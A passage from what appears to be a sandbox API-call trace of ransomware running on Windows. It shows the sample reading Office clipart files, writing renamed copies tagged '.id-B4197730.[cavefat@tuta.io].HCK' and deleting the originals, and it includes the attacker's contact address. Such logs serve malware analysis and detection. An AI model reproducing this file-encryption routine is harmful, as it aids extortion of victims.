returned 68 [0178.565] lstrlenW (lpString=".jpg") returned 4 [0178.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.565] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.565] lstrlenW (lpString="NA01157_.WMF") returned 12 [0178.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.566] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6232) returned 1 [0178.566] CloseHandle (hObject=0x3a4) returned 1 [0178.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf")) returned 0x220 [0178.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.573] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.577] GetLastError () returned 0x0 [0178.577] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1858, lpOverlapped=0x0) returned 1 [0178.578] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1860, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1860, lpOverlapped=0x0) returned 1 [0178.579] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.579] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.579] SetEndOfFile (hFile=0x370) returned 1 [0178.580] CloseHandle (hObject=0x370) returned 1 [0178.584] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.584] SetEndOfFile (hFile=0x368) returned 1 [0178.587] CloseHandle (hObject=0x368) returned 1 [0178.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf")) returned 1 [0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.590] lstrlenW (lpString=".doc") returned 4 [0178.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.590] lstrlenW (lpString=".docx") returned 5 [0178.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.590] lstrlenW (lpString=".pdf") returned 4 [0178.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.590] lstrlenW (lpString=".xls") returned 4 [0178.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.590] lstrlenW (lpString=".xlsx") returned 5 [0178.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.590] lstrlenW (lpString=".ppt") returned 4 [0178.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.590] lstrlenW (lpString=".zip") returned 4 [0178.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.590] lstrlenW (lpString=".rar") returned 4 [0178.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.590] lstrlenW (lpString=".bz2") returned 4 [0178.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.590] lstrlenW (lpString=".7z") returned 3 [0178.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.590] lstrlenW (lpString=".dbf") returned 4 [0178.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.590] lstrlenW (lpString=".1cd") returned 4 [0178.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.590] lstrlenW (lpString=".jpg") returned 4 [0178.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.591] lstrlenW (lpString=".doc") returned 4 [0178.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString=".docx") returned 5 [0178.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.591] lstrlenW (lpString=".pdf") returned 4 [0178.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString=".xls") returned 4 [0178.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.591] lstrlenW (lpString=".xlsx") returned 5 [0178.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.591] lstrlenW (lpString=".ppt") returned 4 [0178.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.591] lstrlenW (lpString=".zip") returned 4 [0178.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.591] lstrlenW (lpString=".rar") returned 4 [0178.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString=".bz2") returned 4 [0178.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString=".7z") returned 3 [0178.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.591] lstrlenW (lpString=".dbf") returned 4 [0178.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.591] lstrlenW (lpString=".1cd") returned 4 [0178.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 68 [0178.591] lstrlenW (lpString=".jpg") returned 4 [0178.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.591] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.591] lstrlenW (lpString="NA01293_.WMF") returned 12 [0178.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.594] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=28912) returned 1 [0178.594] CloseHandle (hObject=0x300) returned 1 [0178.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf")) returned 0x220 [0178.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.598] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.598] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.603] GetLastError () returned 0x0 [0178.603] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x70f0, lpOverlapped=0x0) returned 1 [0178.605] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7100, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7100, lpOverlapped=0x0) returned 1 [0178.606] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.606] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.606] SetEndOfFile (hFile=0x2fc) returned 1 [0178.608] CloseHandle (hObject=0x2fc) returned 1 [0178.609] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.609] SetEndOfFile (hFile=0x368) returned 1 [0178.614] CloseHandle (hObject=0x368) returned 1 [0178.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf")) returned 1 [0178.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.616] lstrlenW (lpString=".doc") returned 4 [0178.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.616] lstrlenW (lpString=".docx") returned 5 [0178.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.616] lstrlenW (lpString=".pdf") returned 4 [0178.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.616] lstrlenW (lpString=".xls") returned 4 [0178.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.616] lstrlenW (lpString=".xlsx") returned 5 [0178.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.616] lstrlenW (lpString=".ppt") returned 4 [0178.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.616] lstrlenW (lpString=".zip") returned 4 [0178.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.616] lstrlenW (lpString=".rar") returned 4 [0178.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.616] lstrlenW (lpString=".bz2") returned 4 [0178.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.616] lstrlenW (lpString=".7z") returned 3 [0178.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.616] lstrlenW (lpString=".dbf") returned 4 [0178.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.616] lstrlenW (lpString=".1cd") returned 4 [0178.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.616] lstrlenW (lpString=".jpg") returned 4 [0178.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.617] lstrlenW (lpString=".doc") returned 4 [0178.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString=".docx") returned 5 [0178.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.617] lstrlenW (lpString=".pdf") returned 4 [0178.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString=".xls") returned 4 [0178.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.617] lstrlenW (lpString=".xlsx") returned 5 [0178.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.617] lstrlenW (lpString=".ppt") returned 4 [0178.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.617] lstrlenW (lpString=".zip") returned 4 [0178.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.617] lstrlenW (lpString=".rar") returned 4 [0178.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString=".bz2") returned 4 [0178.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString=".7z") returned 3 [0178.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.617] lstrlenW (lpString=".dbf") returned 4 [0178.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.617] lstrlenW (lpString=".1cd") returned 4 [0178.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF") returned 68 [0178.617] lstrlenW (lpString=".jpg") returned 4 [0178.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.617] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.617] lstrlenW (lpString="NA01358_.WMF") returned 12 [0178.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.621] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3438) returned 1 [0178.621] CloseHandle (hObject=0x2fc) returned 1 [0178.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf")) returned 0x220 [0178.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.626] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.626] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.629] GetLastError () returned 0x0 [0178.629] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd6e, lpOverlapped=0x0) returned 1 [0178.631] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd70, lpOverlapped=0x0) returned 1 [0178.632] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.632] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.632] SetEndOfFile (hFile=0x39c) returned 1 [0178.633] CloseHandle (hObject=0x39c) returned 1 [0178.634] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.634] SetEndOfFile (hFile=0x368) returned 1 [0178.638] CloseHandle (hObject=0x368) returned 1 [0178.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf")) returned 1 [0178.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.640] lstrlenW (lpString=".doc") returned 4 [0178.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.640] lstrlenW (lpString=".docx") returned 5 [0178.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.640] lstrlenW (lpString=".pdf") returned 4 [0178.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString=".xls") returned 4 [0178.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.641] lstrlenW (lpString=".xlsx") returned 5 [0178.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.641] lstrlenW (lpString=".ppt") returned 4 [0178.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.641] lstrlenW (lpString=".zip") returned 4 [0178.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.641] lstrlenW (lpString=".rar") returned 4 [0178.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString=".bz2") returned 4 [0178.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString=".7z") returned 3 [0178.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.641] lstrlenW (lpString=".dbf") returned 4 [0178.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.641] lstrlenW (lpString=".1cd") returned 4 [0178.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.641] lstrlenW (lpString=".jpg") returned 4 [0178.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.641] lstrlenW (lpString=".doc") returned 4 [0178.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString=".docx") returned 5 [0178.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.641] lstrlenW (lpString=".pdf") returned 4 [0178.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString=".xls") returned 4 [0178.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.641] lstrlenW (lpString=".xlsx") returned 5 [0178.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.641] lstrlenW (lpString=".ppt") returned 4 [0178.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.641] lstrlenW (lpString=".zip") returned 4 [0178.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.641] lstrlenW (lpString=".rar") returned 4 [0178.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.641] lstrlenW (lpString=".bz2") returned 4 [0178.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.642] lstrlenW (lpString=".7z") returned 3 [0178.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.642] lstrlenW (lpString=".dbf") returned 4 [0178.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.642] lstrlenW (lpString=".1cd") returned 4 [0178.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF") returned 68 [0178.642] lstrlenW (lpString=".jpg") returned 4 [0178.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.642] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.642] lstrlenW (lpString="NA01468_.WMF") returned 12 [0178.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 